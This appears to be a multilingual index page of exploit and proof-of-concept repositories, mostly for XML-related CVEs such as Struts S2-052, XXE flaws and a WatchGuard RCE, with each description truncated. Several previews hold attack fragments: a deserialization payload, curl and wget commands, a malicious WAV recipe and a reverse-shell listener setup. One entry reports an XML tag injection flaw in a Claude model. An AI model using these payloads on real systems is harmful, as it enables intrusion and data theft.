CVE-2024-34102

Cosmic Sting: Explotador de CVE-2024-34102 Cosmic Sting es una herramienta basada en Go diseñada para explotar CVE-2024-34102, una vulnerabilidad de ejecución remota de código. Detalle de CVE-2024-34102 Las versiones de Adobe Commerce 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 y anteriores se ven...

S2-052

CVE-2017-9805 （S2-052）反弹Shell Exploit 影响版本 Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12 Poc Content-Type: application/xml 0 false 0 calc false java.lang.ProcessBuilder start foo foo false 0 0 false false 0 jdk.nashorn.internal.objects.NativeString referen...

Evtx_Log_Browser

Explorador de registros Evtx xml Explora los registros de eventos evtx de Windows y exporta a xml La última versión estáaquí Dependencias: .NET Framework 4.8 Versión de Powershell: 5.1...

CVE-2024-47533

CVE-2024-47533 – Cobbler XML-RPC 身份验证绕过漏洞利用 📜 描述 CVE-2024-47533 是 Cobbler 中的一个 严重身份验证绕过漏洞 ，Cobbler 是一款用于自动化网络操作系统安装的 Linux 安装服务器。 该缺陷由 utils.getsharedsecret 中的问题导致，该函数 始终返回-1，从而允许 未经过身份验证 的访问进入 Cobbler XML-RPC API。 攻击者可以使用以下凭据连接： 用户名： ""（空字符串） 密码： -1 这将授予 管理员级访问权限 ，允许执行添加发行版、管理配置文件或通过 Cobbler...

claude-XML-injection

Claude Sonnet 4.6 — Credential Fabrication via XML Tag Injection Reported: June 14, 2026 | Patched: June 20, 2026 | Anthropic Response: None 56 days Researcher: X1NON Affected Model: Claude Sonnet 4.6 and other non-Haiku Claude models Severity: High CVSS 8.7 Status: Patched — No bounty awarded, n...

CVE-2023-24055

免责声明 此脚本仅用于教育和演示目的。作者不支持也不纵容将此脚本用于任何犯罪或恶意活动，并且只能在获得明确许可并拥有适当授权的情况下使用。 使用此脚本时需谨慎，因为它会修改 KeePass 配置文件并删除所有先前配置的触发器。使用此脚本可能导致意外行为，甚至可能破坏 KeePass 应用程序。请自行承担风险。 简介 此脚本演示了 KeePass 至 2.53 版本（默认安装）中 争议性 的漏洞（CVE-2023-24055）。该漏洞允许拥有 XML 配置文件写入权限的攻击者通过添加导出触发器获取明文密码。请注意，供应商的立场是密码数据库本身并非旨在防范具有该级别本地 PC 访问权限的攻击...

CVE-2023-43208_Detection_PoC

CVE-2023-43208DetectionPoC 使用 java.net.InetAddress 进行检测 POST /api/users HTTP/1.1 Host: ip:8443 User-Agent: Mozilla/5.0 X11; CrOS x8664 14541.0.0 AppleWebKit/537.36 KHTML, like Gecko Chrome/120.0.0.0 Safari/537.36 Connection: keep-alive Content-Length: 1964 Content-Type: application/xml...

CVE-2025-27136

CVE-2025-27136 Explotando una vulnerabilidad de entidad externa XML XXE. Usar payload XML para obtener archivos sensibles PoC test.xml Usa curl para subir test.xml desde nuestra máquina local al bucket. curl -X PUT http://127.0.0.1:PORT/TB1 -H "Content-Type: application/xml" -d @test.xml Dispara ...

CVE-2020-26259

描述 XStream 在反序列化时容易受到本地主机上的任意文件删除攻击，只要执行进程具有足够的权限。 影响范围 Xstream \n" + " \n" + " \n" + " 0\n" + " \n" + " \n" + " \n" + " text/plain\n" + " \n" + " C:\Al1ex.txt\n" + " \n" + " \n" + " \n" + " \n" + " 0\n" + " \n" + " \n"...

crack-0.1.8-fixed

= crack 非常简单的JSON和XML解析，取自Merb和Rails。XML解析器取自Merb，JSON解析器取自Rails。我不居功，只是打包它们以便大家轻松使用。 == 关于版本发布 版本会在GitHub上打标签，并在GitHub和RubyForge上作为gem发布。每当我添加补丁或新功能时，都会推送到master分支。要从master构建，可以克隆代码，生成更新后的gemspec，构建gem并安装。 rake gemspec gem build crack.gemspec gem install 构建好的gem == 关于补丁/拉取请求 Fork项目。 添加功能或修复bug。...

external_expat_AOSP10_r33_CVE-2022-23990

Expat, versión 2.2.6 Esto es Expat, una biblioteca de C para analizar XML, iniciada por James Clark en 1997. Expat es un analizador XML orientado a flujo. Esto significa que registras manejadores con el analizador antes de comenzar el análisis. Estos manejadores se llaman cuando el analizador...

CVE-2023-20052

CVE-2023-20052 CVE-2023-20052 存在于 ClamAV 的 DMG 文件解析器中的信息泄露漏洞 ClamAV 1.0.0 及更早版本、0.105.1 及更早版本以及 0.103.7 及更早版本中的 DMG 文件解析器存在一个漏洞，可能允许未经身份验证的远程攻击者访问受影响设备上的敏感信息。该漏洞是由于启用了 XML 实体替换，可能导致 XML 外部实体注入。攻击者可通过向受影响设备上的 ClamAV 提交特制的 DMG 文件进行扫描来利用此漏洞。成功利用后，攻击者可能泄露 ClamAV 扫描进程可读取的任何文件中的字节。 已在 Ubuntu 20.04 上测试...

CVE-2021-29447

WordPress 5.6-5.7 - 已认证（作者及以上）XXE CVE-2021-29447 使用 步骤1：运行WordPress $ make up-wp 步骤2：运行攻击者Web服务器 $ make up-mal 步骤3：生成恶意WAV文件 不使用wavefile npm（推荐） $ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00%remote;%init;%trick; \x00' malicious.wav 使用wavefile npm $ make make-wav...

CVE-2020-9496

CVE-2020-9496 XML-RPC 请求在 Apache OFBiz 17.12.03 中存在不安全的反序列化和跨站脚本漏洞。 安装依赖 $ pip install -r requirements.txt $ wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial.jar 使用方法 $ python cve-2020-9496.py --target URL 测试 受害者 $ git clone...

external_expat_AOSP10_r33_CVE-2022-22822toCVE-2022-22827

Expat，发布版 2.2.6 这是 Expat，一个用于解析 XML 的 C 语言库，由 James Clark 于 1997 年启动。 Expat 是一个面向流的 XML 解析器。这意味着您在开始解析之前向解析器注册处理程序。当解析器发现正在解析的文档中相关的结构时，这些处理程序会被调用。开始标签就是您可以为其注册处理程序的结构类型的一个例子。 Windows 用户应使用 expatwin32 包，该包包含预编译的库和可执行文件，以及供开发人员使用的源代码。 Expat 是自由软件。您可以根据本包附带的 COPYING 文件中包含的许可证条款复制、分发和修改它。该许可证与 MIT/X...

cve-2023-45612_exploit

cve-2023-45612exploit CVE-2023-45612 是一个高严重性安全问题，允许对 Ktor 的 XML 序列化进行 XXE（XML 外部实体）攻击，该问题已在 2023 年修复。 复现安全问题 下面是我复现该问题的详细方式。 IntelliJ IDEA 项目 首先，我们需要一个处理 XML 文件的服务器。我们通过 IntelliJ IDEA 创建一个 Kotlin 项目，并修改 build.gradle.kts 以使用所需的 Ktor 依赖和序列化插件。 我们关心的依赖是 io.ktor:ktor-serialization-kotlinx-xml。版本 2.3....

CVE-2024-45427-Exploit

CVE-2024-45427 漏洞利用生成器 该脚本生成一个恶意的 Excel .xlsx 文件，用于利用 PhpSpreadsheet 库 v3.7.0 中的 CVE-2024-45427 漏洞。 它通过操作原始 XML 将 XSS 载荷注入到工作表名称中，从而绕过标准库的验证检查。 使用方法 1. 编辑 exploit.py 并设置你的 MYIP 和 PORT。 2. 运行脚本： python3 exploit.py 3. 启动监听器： python3 -m http.server 8000 4. 将 assignmentexploit.xlsx 上传到目标系统。 免责声明...

watchguard_cve-2022-26318

WatchGuard CVE-2022-26318 WatchGuard RCE POC CVE-2022-26318 !/usr/bin/python3 -- coding: utf-8 - - CVE-2022-26318 import socket import ssl import gzip Remote WatchGuard XTM or FireWare OS RHOST = "1.1.1.1" Local host with nc listener: nc -l 8.8.8.8 8888 LHOST = "8.8.8.8" def buildPayloadLHOST:...

external_expact_AOSP10_r33_CVE-2022-25314

Expat, Versión 2.2.6 Esto es Expat, una biblioteca C para analizar XML, iniciada por James Clark en 1997. Expat es un analizador XML orientado a flujos. Esto significa que registra manejadores con el analizador antes de iniciar el análisis. Estos manejadores se invocan cuando el analizador descub...

cve-2025-58360

GeoServer: CVE-2025-58360 Descargo de responsabilidad El código y la información contenidos en este repositorio son solo para fines educativos y de investigación. El propietario del repositorio no se hace responsable de nada de lo que hagas con el código y/o la información contenida en este...